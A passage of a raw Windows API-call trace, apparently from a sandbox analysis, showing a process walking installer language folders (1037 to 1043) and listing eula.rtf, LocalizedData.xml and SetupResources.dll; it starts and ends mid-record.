ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x14412, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0131.132] FindNextFileW (in: hFindFile=0x69b1c8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0131.132] FindNextFileW (in: hFindFile=0x69b1c8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0131.135] FindClose (in: hFindFile=0x69b1c8 | out: hFindFile=0x69b1c8) returned 1 [0131.135] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0131.135] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1037", cAlternateFileName="")) returned 1 [0131.135] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69acc8 [0131.135] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.135] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0131.135] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1198c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0131.135] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0131.136] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0131.136] FindClose (in: hFindFile=0x69acc8 | out: hFindFile=0x69acc8) returned 1 [0131.136] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0131.136] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1038", cAlternateFileName="")) returned 1 [0131.136] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69b148 [0131.136] FindNextFileW (in: hFindFile=0x69b148, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.136] FindNextFileW (in: hFindFile=0x69b148, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x109e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0131.136] FindNextFileW (in: hFindFile=0x69b148, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x151aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0131.136] FindNextFileW (in: hFindFile=0x69b148, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0131.136] FindNextFileW (in: hFindFile=0x69b148, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0131.137] FindClose (in: hFindFile=0x69b148 | out: hFindFile=0x69b148) returned 1 [0131.137] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0131.137] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1040", cAlternateFileName="")) returned 1 [0131.137] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69b2c8 [0131.138] FindNextFileW (in: hFindFile=0x69b2c8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.138] FindNextFileW (in: hFindFile=0x69b2c8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0131.138] FindNextFileW (in: hFindFile=0x69b2c8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x138bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0131.138] FindNextFileW (in: hFindFile=0x69b2c8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0131.138] FindNextFileW (in: hFindFile=0x69b2c8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0131.139] FindClose (in: hFindFile=0x69b2c8 | out: hFindFile=0x69b2c8) returned 1 [0131.139] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0131.139] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1041", cAlternateFileName="")) returned 1 [0131.139] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69ad08 [0131.140] FindNextFileW (in: hFindFile=0x69ad08, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.140] FindNextFileW (in: hFindFile=0x69ad08, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x278d, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0131.141] FindNextFileW (in: hFindFile=0x69ad08, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x10a82, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0131.141] FindNextFileW (in: hFindFile=0x69ad08, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0131.141] FindNextFileW (in: hFindFile=0x69ad08, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0131.143] FindClose (in: hFindFile=0x69ad08 | out: hFindFile=0x69ad08) returned 1 [0131.144] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0131.144] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1042", cAlternateFileName="")) returned 1 [0131.144] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69acc8 [0131.144] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.144] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x318f, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0131.144] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xfed6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0131.144] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0131.144] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0131.144] FindClose (in: hFindFile=0x69acc8 | out: hFindFile=0x69acc8) returned 1 [0131.144] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0131.144] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1043", cAlternateFileName="")) returned 1 [0131.145] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69acc8 [0131.145] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.145] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdda, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0131.145] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13712, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0131.145] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0131.145] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", 